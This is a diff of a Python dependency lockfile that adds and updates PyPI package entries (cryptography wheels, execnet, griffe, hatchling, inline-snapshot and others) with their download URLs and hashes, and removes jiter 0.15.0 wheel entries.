+ { url = "https://files.pythonhosted.org/packages/fd/30/27654c1dbaf7e4a3531fa1fc77986d04aefa4d6d78259a62c9dc13d7ad36/cryptography-46.0.3-cp314-cp314t-win32.whl", hash = "sha256:8a6e050cb6164d3f830453754094c086ff2d0b2f3a897a1d9820f6139a1f0914", size = 3022339, upload-time = "2025-10-15T23:17:40.888Z" },
+ { url = "https://files.pythonhosted.org/packages/f6/30/640f34ccd4d2a1bc88367b54b926b781b5a018d65f404d409aba76a84b1c/cryptography-46.0.3-cp314-cp314t-win_amd64.whl", hash = "sha256:760f83faa07f8b64e9c33fc963d790a2edb24efb479e3520c14a45741cd9b2db", size = 3494315, upload-time = "2025-10-15T23:17:42.769Z" },
+ { url = "https://files.pythonhosted.org/packages/ba/8b/88cc7e3bd0a8e7b861f26981f7b820e1f46aa9d26cc482d0feba0ecb4919/cryptography-46.0.3-cp314-cp314t-win_arm64.whl", hash = "sha256:516ea134e703e9fe26bcd1277a4b59ad30586ea90c365a87781d7887a646fe21", size = 2919331, upload-time = "2025-10-15T23:17:44.468Z" },
+ { url = "https://files.pythonhosted.org/packages/fd/23/45fe7f376a7df8daf6da3556603b36f53475a99ce4faacb6ba2cf3d82021/cryptography-46.0.3-cp38-abi3-macosx_10_9_universal2.whl", hash = "sha256:cb3d760a6117f621261d662bccc8ef5bc32ca673e037c83fbe565324f5c46936", size = 7218248, upload-time = "2025-10-15T23:17:46.294Z" },
+ { url = "https://files.pythonhosted.org/packages/27/32/b68d27471372737054cbd34c84981f9edbc24fe67ca225d389799614e27f/cryptography-46.0.3-cp38-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:4b7387121ac7d15e550f5cb4a43aef2559ed759c35df7336c402bb8275ac9683", size = 4294089, upload-time = "2025-10-15T23:17:48.269Z" },
+ { url = "https://files.pythonhosted.org/packages/26/42/fa8389d4478368743e24e61eea78846a0006caffaf72ea24a15159215a14/cryptography-46.0.3-cp38-abi3-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:15ab9b093e8f09daab0f2159bb7e47532596075139dd74365da52ecc9cb46c5d", size = 4440029, upload-time = "2025-10-15T23:17:49.837Z" },
+ { url = "https://files.pythonhosted.org/packages/5f/eb/f483db0ec5ac040824f269e93dd2bd8a21ecd1027e77ad7bdf6914f2fd80/cryptography-46.0.3-cp38-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:46acf53b40ea38f9c6c229599a4a13f0d46a6c3fa9ef19fc1a124d62e338dfa0", size = 4297222, upload-time = "2025-10-15T23:17:51.357Z" },
+ { url = "https://files.pythonhosted.org/packages/fd/cf/da9502c4e1912cb1da3807ea3618a6829bee8207456fbbeebc361ec38ba3/cryptography-46.0.3-cp38-abi3-manylinux_2_28_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:10ca84c4668d066a9878890047f03546f3ae0a6b8b39b697457b7757aaf18dbc", size = 4012280, upload-time = "2025-10-15T23:17:52.964Z" },
+ { url = "https://files.pythonhosted.org/packages/6b/8f/9adb86b93330e0df8b3dcf03eae67c33ba89958fc2e03862ef1ac2b42465/cryptography-46.0.3-cp38-abi3-manylinux_2_28_ppc64le.whl", hash = "sha256:36e627112085bb3b81b19fed209c05ce2a52ee8b15d161b7c643a7d5a88491f3", size = 4978958, upload-time = "2025-10-15T23:17:54.965Z" },
+ { url = "https://files.pythonhosted.org/packages/d1/a0/5fa77988289c34bdb9f913f5606ecc9ada1adb5ae870bd0d1054a7021cc4/cryptography-46.0.3-cp38-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:1000713389b75c449a6e979ffc7dcc8ac90b437048766cef052d4d30b8220971", size = 4473714, upload-time = "2025-10-15T23:17:56.754Z" },
+ { url = "https://files.pythonhosted.org/packages/14/e5/fc82d72a58d41c393697aa18c9abe5ae1214ff6f2a5c18ac470f92777895/cryptography-46.0.3-cp38-abi3-manylinux_2_34_aarch64.whl", hash = "sha256:b02cf04496f6576afffef5ddd04a0cb7d49cf6be16a9059d793a30b035f6b6ac", size = 4296970, upload-time = "2025-10-15T23:17:58.588Z" },
+ { url = "https://files.pythonhosted.org/packages/78/06/5663ed35438d0b09056973994f1aec467492b33bd31da36e468b01ec1097/cryptography-46.0.3-cp38-abi3-manylinux_2_34_ppc64le.whl", hash = "sha256:71e842ec9bc7abf543b47cf86b9a743baa95f4677d22baa4c7d5c69e49e9bc04", size = 4940236, upload-time = "2025-10-15T23:18:00.897Z" },
+ { url = "https://files.pythonhosted.org/packages/fc/59/873633f3f2dcd8a053b8dd1d38f783043b5fce589c0f6988bf55ef57e43e/cryptography-46.0.3-cp38-abi3-manylinux_2_34_x86_64.whl", hash = "sha256:402b58fc32614f00980b66d6e56a5b4118e6cb362ae8f3fda141ba4689bd4506", size = 4472642, upload-time = "2025-10-15T23:18:02.749Z" },
+ { url = "https://files.pythonhosted.org/packages/3d/39/8e71f3930e40f6877737d6f69248cf74d4e34b886a3967d32f919cc50d3b/cryptography-46.0.3-cp38-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:ef639cb3372f69ec44915fafcd6698b6cc78fbe0c2ea41be867f6ed612811963", size = 4423126, upload-time = "2025-10-15T23:18:04.85Z" },
+ { url = "https://files.pythonhosted.org/packages/cd/c7/f65027c2810e14c3e7268353b1681932b87e5a48e65505d8cc17c99e36ae/cryptography-46.0.3-cp38-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:3b51b8ca4f1c6453d8829e1eb7299499ca7f313900dd4d89a24b8b87c0a780d4", size = 4686573, upload-time = "2025-10-15T23:18:06.908Z" },
+ { url = "https://files.pythonhosted.org/packages/0a/6e/1c8331ddf91ca4730ab3086a0f1be19c65510a33b5a441cb334e7a2d2560/cryptography-46.0.3-cp38-abi3-win32.whl", hash = "sha256:6276eb85ef938dc035d59b87c8a7dc559a232f954962520137529d77b18ff1df", size = 3036695, upload-time = "2025-10-15T23:18:08.672Z" },
+ { url = "https://files.pythonhosted.org/packages/90/45/b0d691df20633eff80955a0fc7695ff9051ffce8b69741444bd9ed7bd0db/cryptography-46.0.3-cp38-abi3-win_amd64.whl", hash = "sha256:416260257577718c05135c55958b674000baef9a1c7d9e8f306ec60d71db850f", size = 3501720, upload-time = "2025-10-15T23:18:10.632Z" },
+ { url = "https://files.pythonhosted.org/packages/e8/cb/2da4cc83f5edb9c3257d09e1e7ab7b23f049c7962cae8d842bbef0a9cec9/cryptography-46.0.3-cp38-abi3-win_arm64.whl", hash = "sha256:d89c3468de4cdc4f08a57e214384d0471911a3830fcdaf7a8cc587e42a866372", size = 2918740, upload-time = "2025-10-15T23:18:12.277Z" },
+ { url = "https://files.pythonhosted.org/packages/d9/cd/1a8633802d766a0fa46f382a77e096d7e209e0817892929655fe0586ae32/cryptography-46.0.3-pp310-pypy310_pp73-macosx_10_9_x86_64.whl", hash = "sha256:a23582810fedb8c0bc47524558fb6c56aac3fc252cb306072fd2815da2a47c32", size = 3689163, upload-time = "2025-10-15T23:18:13.821Z" },
+ { url = "https://files.pythonhosted.org/packages/4c/59/6b26512964ace6480c3e54681a9859c974172fb141c38df11eadd8416947/cryptography-46.0.3-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:e7aec276d68421f9574040c26e2a7c3771060bc0cff408bae1dcb19d3ab1e63c", size = 3429474, upload-time = "2025-10-15T23:18:15.477Z" },
+ { url = "https://files.pythonhosted.org/packages/06/8a/e60e46adab4362a682cf142c7dcb5bf79b782ab2199b0dcb81f55970807f/cryptography-46.0.3-pp311-pypy311_pp73-macosx_10_9_x86_64.whl", hash = "sha256:7ce938a99998ed3c8aa7e7272dca1a610401ede816d36d0693907d863b10d9ea", size = 3698132, upload-time = "2025-10-15T23:18:17.056Z" },
+ { url = "https://files.pythonhosted.org/packages/da/38/f59940ec4ee91e93d3311f7532671a5cef5570eb04a144bf203b58552d11/cryptography-46.0.3-pp311-pypy311_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:191bb60a7be5e6f54e30ba16fdfae78ad3a342a0599eb4193ba88e3f3d6e185b", size = 4243992, upload-time = "2025-10-15T23:18:18.695Z" },
+ { url = "https://files.pythonhosted.org/packages/b0/0c/35b3d92ddebfdfda76bb485738306545817253d0a3ded0bfe80ef8e67aa5/cryptography-46.0.3-pp311-pypy311_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:c70cc23f12726be8f8bc72e41d5065d77e4515efae3690326764ea1b07845cfb", size = 4409944, upload-time = "2025-10-15T23:18:20.597Z" },
+ { url = "https://files.pythonhosted.org/packages/99/55/181022996c4063fc0e7666a47049a1ca705abb9c8a13830f074edb347495/cryptography-46.0.3-pp311-pypy311_pp73-manylinux_2_34_aarch64.whl", hash = "sha256:9394673a9f4de09e28b5356e7fff97d778f8abad85c9d5ac4a4b7e25a0de7717", size = 4242957, upload-time = "2025-10-15T23:18:22.18Z" },
+ { url = "https://files.pythonhosted.org/packages/ba/af/72cd6ef29f9c5f731251acadaeb821559fe25f10852f44a63374c9ca08c1/cryptography-46.0.3-pp311-pypy311_pp73-manylinux_2_34_x86_64.whl", hash = "sha256:94cd0549accc38d1494e1f8de71eca837d0509d0d44bf11d158524b0e12cebf9", size = 4409447, upload-time = "2025-10-15T23:18:24.209Z" },
+ { url = "https://files.pythonhosted.org/packages/0d/c3/e90f4a4feae6410f914f8ebac129b9ae7a8c92eb60a638012dde42030a9d/cryptography-46.0.3-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:6b5063083824e5509fdba180721d55909ffacccc8adbec85268b48439423d78c", size = 3438528, upload-time = "2025-10-15T23:18:26.227Z" },
+]
+
[[package]]
name = "distro"
version = "1.9.0"
@@ -321,13 +562,31 @@ name = "exceptiongroup"
version = "1.3.1"
source = { registry = "https://pypi.org/simple" }
dependencies = [
- { name = "typing-extensions", marker = "python_full_version < '3.11'" },
+ { name = "typing-extensions", marker = "python_full_version < '3.11' or (extra == 'group-6-openai-pydantic-v1' and extra == 'group-6-openai-pydantic-v2')" },
]
sdist = { url = "https://files.pythonhosted.org/packages/50/79/66800aadf48771f6b62f7eb014e352e5d06856655206165d775e675a02c9/exceptiongroup-1.3.1.tar.gz", hash = "sha256:8b412432c6055b0b7d14c310000ae93352ed6754f70fa8f7c34141f91c4e3219", size = 30371, upload-time = "2025-11-21T23:01:54.787Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/8a/0e/97c33bf5009bdbac74fd2beace167cab3f978feb69cc36f1ef79360d6c4e/exceptiongroup-1.3.1-py3-none-any.whl", hash = "sha256:a7a39a3bd276781e98394987d3a5701d0c4edffb633bb7a5144577f82c773598", size = 16740, upload-time = "2025-11-21T23:01:53.443Z" },
]
+[[package]]
+name = "execnet"
+version = "2.1.2"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/bf/89/780e11f9588d9e7128a3f87788354c7946a9cbb1401ad38a48c4db9a4f07/execnet-2.1.2.tar.gz", hash = "sha256:63d83bfdd9a23e35b9c6a3261412324f964c2ec8dcd8d3c6916ee9373e0befcd", size = 166622, upload-time = "2025-11-12T09:56:37.75Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/ab/84/02fc1827e8cdded4aa65baef11296a9bbe595c474f0d6d758af082d849fd/execnet-2.1.2-py3-none-any.whl", hash = "sha256:67fba928dd5a544b783f6056f449e5e3931a5c378b128bc18501f7ea79e296ec", size = 40708, upload-time = "2025-11-12T09:56:36.333Z" },
+]
+
+[[package]]
+name = "executing"
+version = "2.2.1"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/cc/28/c14e053b6762b1044f34a13aab6859bbf40456d37d23aa286ac24cfd9a5d/executing-2.2.1.tar.gz", hash = "sha256:3632cc370565f6648cc328b32435bd120a1e4ebb20c77e3fdde9a13cd1e533c4", size = 1129488, upload-time = "2025-09-01T09:48:10.866Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/c1/ea/53f2148663b321f21b5a606bd5f191517cf40b7072c0497d3c92c4a13b1e/executing-2.2.1-py2.py3-none-any.whl", hash = "sha256:760643d3452b4d777d295bb167ccc74c64a81df23fb5e08eff250c425a4b2017", size = 28317, upload-time = "2025-09-01T09:48:08.5Z" },
+]
+
[[package]]
name = "frozenlist"
version = "1.8.0"
@@ -449,6 +708,18 @@ wheels = [
{ url = "https://files.pythonhosted.org/packages/9a/9a/e35b4a917281c0b8419d4207f4334c8e8c5dbf4f3f5f9ada73958d937dcc/frozenlist-1.8.0-py3-none-any.whl", hash = "sha256:0c18a16eab41e82c295618a77502e17b195883241c563b00f0aa5106fc4eaa0d", size = 13409, upload-time = "2025-10-06T05:38:16.721Z" },
]
+[[package]]
+name = "griffe"
+version = "1.14.0"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "colorama" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/ec/d7/6c09dd7ce4c7837e4cdb11dce980cb45ae3cd87677298dc3b781b6bce7d3/griffe-1.14.0.tar.gz", hash = "sha256:9d2a15c1eca966d68e00517de5d69dd1bc5c9f2335ef6c1775362ba5b8651a13", size = 424684, upload-time = "2025-09-05T15:02:29.167Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/2a/b1/9ff6578d789a89812ff21e4e0f80ffae20a65d5dd84e7a17873fe3b365be/griffe-1.14.0-py3-none-any.whl", hash = "sha256:0e9d52832cccf0f7188cfe585ba962d2674b241c01916d780925df34873bceb0", size = 144439, upload-time = "2025-09-05T15:02:27.511Z" },
+]
+
[[package]]
name = "h11"
version = "0.16.0"
@@ -458,6 +729,35 @@ wheels = [
{ url = "https://files.pythonhosted.org/packages/04/4b/29cac41a4d98d144bf5f6d33995617b185d14b22401f75ca86f384e87ff1/h11-0.16.0-py3-none-any.whl", hash = "sha256:63cf8bbe7522de3bf65932fda1d9c2772064ffb3dae62d55932da54b31cb6c86", size = 37515, upload-time = "2025-04-24T03:35:24.344Z" },
]
+[[package]]
+name = "hatch-fancy-pypi-readme"
+version = "25.1.0"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "hatchling" },
+ { name = "tomli", marker = "python_full_version < '3.11' or (extra == 'group-6-openai-pydantic-v1' and extra == 'group-6-openai-pydantic-v2')" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/f3/0f/aed57c301f339936eb91cb4d8c1e5088a101081854bd3ec18a889df32365/hatch_fancy_pypi_readme-25.1.0.tar.gz", hash = "sha256:9c58ed3dff90d51f43414ce37009ad1d5b0f08ffc9fc216998a06380f01c0045", size = 29701, upload-time = "2025-05-01T10:34:42.989Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/58/b4/ad71e051b34f1935783de37beffee16e343ff2514b204dc515f9e939d4af/hatch_fancy_pypi_readme-25.1.0-py3-none-any.whl", hash = "sha256:ce0134c40d63d874ac48f48ccc678b8f3b62b8e50e9318520d2bffc752eedaf3", size = 10046, upload-time = "2025-05-01T10:34:41.204Z" },
+]
+
+[[package]]
+name = "hatchling"
+version = "1.26.3"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "packaging" },
+ { name = "pathspec" },
+ { name = "pluggy" },
+ { name = "tomli", marker = "python_full_version < '3.11' or (extra == 'group-6-openai-pydantic-v1' and extra == 'group-6-openai-pydantic-v2')" },
+ { name = "trove-classifiers" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/e1/47/7ec270a9567262ae3cb32dd420d2b53bf7aee769aca1f240eae0426b5bbc/hatchling-1.26.3.tar.gz", hash = "sha256:b672a9c36a601a06c4e88a1abb1330639ee8e721e0535a37536e546a667efc7a", size = 54968, upload-time = "2024-11-12T19:20:46.346Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/72/41/b3e29dc4fe623794070e5dfbb9915acb649ce05d6472f005470cbed9de83/hatchling-1.26.3-py3-none-any.whl", hash = "sha256:c407e1c6c17b574584a66ae60e8e9a01235ecb6dc61d01559bb936577aaf5846", size = 75773, upload-time = "2024-11-12T19:20:44.165Z" },
+]
+
[[package]]
name = "httpcore2"
version = "2.7.0"
@@ -480,7 +780,7 @@ dependencies = [
{ name = "httpcore2" },
{ name = "idna" },
{ name = "truststore" },
- { name = "typing-extensions", marker = "python_full_version < '3.13'" },
+ { name = "typing-extensions", marker = "python_full_version < '3.13' or (extra == 'group-6-openai-pydantic-v1' and extra == 'group-6-openai-pydantic-v2')" },
]
sdist = { url = "https://files.pythonhosted.org/packages/a3/4a/129b2e21b90ac2985d3928d96792bccc39bc6dfe796c5eee2d8ec06d4105/httpx2-2.7.0.tar.gz", hash = "sha256:8b30709aed5c8465b0dd3b95c09ce301c8f79e7e7a2d00ab0af551e0d0375b07", size = 94487, upload-time = "2026-07-14T20:40:02.318Z" }
wheels = [
@@ -496,107 +796,126 @@ wheels = [
{ url = "https://files.pythonhosted.org/packages/1e/5e/d4e9f1a599fb8e573b7b87160658329fbf28d19eac2718f51fc3def3aa5a/idna-3.18-py3-none-any.whl", hash = "sha256:7f952cbe720b688055e3f87de14f5c3e5fdaa8bc3928985c4077ca689de849a2", size = 65455, upload-time = "2026-06-02T14:34:06.319Z" },
]
+[[package]]
+name = "iniconfig"
+version = "2.1.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/f2/97/ebf4da567aa6827c909642694d71c9fcf53e5b504f2d96afea02718862f3/iniconfig-2.1.0.tar.gz", hash = "sha256:3abbd2e30b36733fee78f9c7f7308f2d0050e88f0087fd25c2645f63c773e1c7", size = 4793, upload-time = "2025-03-19T20:09:59.721Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/2c/e1/e6716421ea10d38022b952c159d5161ca1193197fb744506875fbb87ea7b/iniconfig-2.1.0-py3-none-any.whl", hash = "sha256:9deba5723312380e77435581c6bf4935c94cbfab9b1ed33ef8d238ea168eb760", size = 6050, upload-time = "2025-03-19T20:10:01.071Z" },
+]
+
+[[package]]
+name = "inline-snapshot"
+version = "0.31.1"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "asttokens" },
+ { name = "executing" },
+ { name = "pytest" },
+ { name = "rich" },
+ { name = "tomli", marker = "python_full_version < '3.11' or (extra == 'group-6-openai-pydantic-v1' and extra == 'group-6-openai-pydantic-v2')" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/1c/b1/52b5ee59f73ed31d5fe21b10881bf2d121d07d54b23c0b6b74186792e620/inline_snapshot-0.31.1.tar.gz", hash = "sha256:4ea5ed70aa1d652713bbfd750606b94bd8a42483f7d3680433b3e92994495f64", size = 2606338, upload-time = "2025-11-07T07:36:18.932Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/ba/52/945db420380efbda8c69a7a4a16c53df9d7ac50d8217286b9d41e5d825ff/inline_snapshot-0.31.1-py3-none-any.whl", hash = "sha256:7875a73c986a03388c7e758fb5cb8a43d2c3a20328aa1d851bfb4ed536c4496f", size = 71965, upload-time = "2025-11-07T07:36:16.836Z" },
+]
+
[[package]]
name = "jiter"
-version = "0.15.0"
-source = { registry = "https://pypi.org/simple" }
-sdist = { url = "https://files.pythonhosted.org/packages/66/b5/55f06bb281d92fb3cc86d14e1def2bd908bb77693183e7cb1f5a3c388b0c/jiter-0.15.0.tar.gz", hash = "sha256:4251acc80e2b7c9b7b8823456ea0fceeb0734dac2df7636d3c711b38476b5a76", size = 166640, upload-time = "2026-05-19T10:09:48.361Z" }
-wheels = [
- { url = "https://files.pythonhosted.org/packages/1d/da/76a2c7e510ba15fe323d9509c223ab272da79ea59f54488f4a78da6426db/jiter-0.15.0-cp310-cp310-macosx_10_12_x86_64.whl", hash = "sha256:edebcf7d1f601199084bb6e844d7dc67e03e04f6ac786b0332d616635c4ff7a4", size = 310849, upload-time = "2026-05-19T10:06:51.944Z" },
- { url = "https://files.pythonhosted.org/packages/5d/8e/827be942883a4dc0862c48626ff41af3320b1902d136a0bf4b9041f2c567/jiter-0.15.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:9f924585cdacf631cd382b657966847bb537bf9ed0a6f9b991da5f05a631480f", size = 314991, upload-time = "2026-05-19T10:06:53.522Z" },
- { url = "https://files.pythonhosted.org/packages/6d/38/be2832be361ba1b9517c76f46d30b64e985be1dd43c974f4c3a4b1844436/jiter-0.15.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:abbf258599526ad0326fe51e252e24f2bd6f24f1852681b4b78feda3808f1d18", size = 340843, upload-time = "2026-05-19T10:06:55.071Z" },
- { url = "https://files.pythonhosted.org/packages/6d/d8/90f01fb83c0c7ba509303ec93e32a308fbfa167d264860b01c0fd0dbbd06/jiter-0.15.0-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:7c468136b8bd6bb18c8786e4236a1fa27362f24cb23450ba0cb204ab379b8e6f", size = 365116, upload-time = "2026-05-19T10:06:56.893Z" },
- { url = "https://files.pythonhosted.org/packages/91/38/94593d34f8c67a0b6f6cbc027f016ffa9780b3a858a7a86f6fd7a15bcc1e/jiter-0.15.0-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:05906b93d72f03339e6bb7cf8dc10ebda64a0266126eed6beba79e20abcf5fd4", size = 457970, upload-time = "2026-05-19T10:06:58.707Z" },
- { url = "https://files.pythonhosted.org/packages/df/04/d79962dd49d00c97e2a9b4cacea1947904d02135936960351f9a96d4c1a6/jiter-0.15.0-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:30ce785d2adb8e32c3f7741442370a74834ec4c01f3c48f0750227a0b4ef27d6", size = 375744, upload-time = "2026-05-19T10:07:00.471Z" },
- { url = "https://files.pythonhosted.org/packages/c3/2e/5d37abe2be0e819c21e2338bebd410e481763ce526a9138c8c3652fa0123/jiter-0.15.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2fd73e3da91a0a722d67165e849ce2cdc10de0e0d48738c142be8c6c5f310f4c", size = 349609, upload-time = "2026-05-19T10:07:01.829Z" },
- { url = "https://files.pythonhosted.org/packages/7a/90/98768ad2ed90c1fda15d64157de2dfbf73c1c074d4b1bfaca915480bc7cf/jiter-0.15.0-cp310-cp310-manylinux_2_31_riscv64.whl", hash = "sha256:ceb8fc27d38793f9c97149be8302720c5b22e5c195a37bf2c45dc36c4600a512", size = 354366, upload-time = "2026-05-19T10:07:03.587Z" },
- { url = "https://files.pythonhosted.org/packages/d6/c4/fbfb806209f1fe4b7dccdfb07bc62bb044300734a945b06fd64db446ef6a/jiter-0.15.0-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:d726e3ceeb337191324b49de298142f27c3ad10886341555d1d5315b5f252c6a", size = 393519, upload-time = "2026-05-19T10:07:05.08Z" },
- { url = "https://files.pythonhosted.org/packages/37/1c/b9c257cd70cb453b6d10f3ebf0402cdb11669ab455389096f09839670290/jiter-0.15.0-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:2c8aea7781d2a372227871de4e1a1332aa96f5a89fd76c5e835dafdbad102887", size = 519952, upload-time = "2026-05-19T10:07:06.589Z" },
- { url = "https://files.pythonhosted.org/packages/a9/1a/aa85027db7ab15829c12feebbc33b404f53fc399bd559d85fd0d6365ff0d/jiter-0.15.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:cf4bd113a69c0a740e27cb962ce10630c36d2b8f59d759a651b955ee9d18a823", size = 550770, upload-time = "2026-05-19T10:07:08.228Z" },
- { url = "https://files.pythonhosted.org/packages/d4/54/8c3f65c8a5687925e84708f19d63f7f37d28e2b86a48d951702ad94424d8/jiter-0.15.0-cp310-cp310-win32.whl", hash = "sha256:d92a5cd21fdb083931d546c207aa29633787c5dc5b02daab2d32b843f88a2c53", size = 209303, upload-time = "2026-05-19T10:07:10.006Z" },
- { url = "https://files.pythonhosted.org/packages/d5/72/0528a1eb9f42dd2d8228a0711458628f35924d131f623eaebc35fd23d3d4/jiter-0.15.0-cp310-cp310-win_amd64.whl", hash = "sha256:e58585a58209d72691ce2d62a9147445f5a87beb0bde97fde284c96ae392a3d1", size = 200404, upload-time = "2026-05-19T10:07:11.426Z" },
- { url = "https://files.pythonhosted.org/packages/e4/13/daa722f5765c393576f466378f9dfd29d77c9bed939e0688f96afa3601ea/jiter-0.15.0-cp311-cp311-macosx_10_12_x86_64.whl", hash = "sha256:0f862193b8696249d22ec433e85fd2ab0ad9596bc3e45e6c0bc55e8aeba97be2", size = 310899, upload-time = "2026-05-19T10:07:12.89Z" },
- { url = "https://files.pythonhosted.org/packages/7f/82/2d2551829b082f4b6d82b9f939b031fb808a10aab1ec0664f82e150bb9a2/jiter-0.15.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:1303d4d68a9b051ea90502402063ecf3807da00ad2affa19ca1ae3b90b3c5f67", size = 314963, upload-time = "2026-05-19T10:07:14.539Z" },
- { url = "https://files.pythonhosted.org/packages/2a/0a/8b1a51466f7fe9f31dbe4bc7e0ca848674f9825e0f737b929b97e8c60aa7/jiter-0.15.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:392b8ab019e5502d08aff85c6272209c24bc2cbe706ea82a56368f524236614a", size = 341730, upload-time = "2026-05-19T10:07:15.869Z" },
- { url = "https://files.pythonhosted.org/packages/f6/2a/e71dea19822e2e404e83992a08c1d6b9b617bb944f28c9c2fbd85d02c91e/jiter-0.15.0-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:773b6eb282ce11ee19f05f6b2d4404fa308e5bbd353b0b80a0262caad6db2cd7", size = 366214, upload-time = "2026-05-19T10:07:17.259Z" },
- { url = "https://files.pythonhosted.org/packages/c4/59/97e1fa539d124a509a00ab7f669289d1c1d236ecabf12948a18f16c91082/jiter-0.15.0-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:8d2c0c44d569ce0f2850f5c926f8caeb5f245fbc84475aeb36efccc2103e6dbd", size = 459527, upload-time = "2026-05-19T10:07:18.741Z" },
- { url = "https://files.pythonhosted.org/packages/d1/7a/4a68d331aef8cf2e2393c14a3aacb635c62aa86071b0229899fb5baaa907/jiter-0.15.0-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:032396229564bca02440396bd327710719f724f5e7b7e9f7a8eb3faa4a2c2281", size = 375451, upload-time = "2026-05-19T10:07:20.208Z" },
- { url = "https://files.pythonhosted.org/packages/7b/7e/1c445c2b6f0e30a274dc8082e0c3c7825411cce80d726bccd697c98cc8d3/jiter-0.15.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f3d37768fce7f88dd2a8c6091f2325dea27d30d30d5c6e7a1c0f0af77723b708", size = 349428, upload-time = "2026-05-19T10:07:22.372Z" },
- { url = "https://files.pythonhosted.org/packages/00/94/e20d38984fc17a636371bffd2ae0f698124fdc8e75ef969cd2da6ba7cea7/jiter-0.15.0-cp311-cp311-manylinux_2_31_riscv64.whl", hash = "sha256:2c9cb907439d20bd0c7d7565ca01ee52234203208433749bae5b516907526928", size = 355405, upload-time = "2026-05-19T10:07:23.916Z" },
- { url = "https://files.pythonhosted.org/packages/94/fa/4d09f814779d0ea80a28ed8e4c6662ec9a4a8ecef0ac52190ebac6262d14/jiter-0.15.0-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:9100ddbec09741cc66feb0fc6773f8bdbd0e3c345689368f260082ff85dcc0cd", size = 393688, upload-time = "2026-05-19T10:07:25.854Z" },
- { url = "https://files.pythonhosted.org/packages/54/9d/8eb5d4fb8bf7e93a75964a5da71a75c67c864baf7fa3f98598187b3c7e57/jiter-0.15.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:ae1b0d82ac2d987f9ea512b1c9adfcc71a28de3dea3a6039b54d76cffda9901e", size = 520853, upload-time = "2026-05-19T10:07:27.303Z" },
- { url = "https://files.pythonhosted.org/packages/e7/2c/5e07874e59e623a943a0acf1552a80d05b70f31b402287a8fc6d7ec634c7/jiter-0.15.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:8020c99ec13a7db2b6f96cbe82ef4721c88b426a4892f27478044af0284615ef", size = 551016, upload-time = "2026-05-19T10:07:28.846Z" },
- { url = "https://files.pythonhosted.org/packages/22/ed/d2d34422143474cadc15b60d482b1c35683dbc5c63c24346ddd0df09bcaf/jiter-0.15.0-cp311-cp311-win32.whl", hash = "sha256:42bfb257930800cf43e7c62c832402c704ab60797c992faf88d20e903eac8f32", size = 209518, upload-time = "2026-05-19T10:07:30.431Z" },
- { url = "https://files.pythonhosted.org/packages/1d/7d/52778b930e5cc3e52a37d950b1c10494244308b4329b25a0ff0d88303a81/jiter-0.15.0-cp311-cp311-win_amd64.whl", hash = "sha256:860a74063284a2ae9bfedd694f299cc2c68e2696c5f3d440cc9d18bb81b9dd04", size = 200565, upload-time = "2026-05-19T10:07:32.125Z" },
- { url = "https://files.pythonhosted.org/packages/3b/4f/d9b4067feb69b3fa6eb0488e1b59e2ad5b463fe39f59e527eab2aca00bb0/jiter-0.15.0-cp311-cp311-win_arm64.whl", hash = "sha256:37a10c377ce3a4a85f4a67f28b7afe093154cde77eaf248a72e856aa08b4d865", size = 195488, upload-time = "2026-05-19T10:07:33.846Z" },
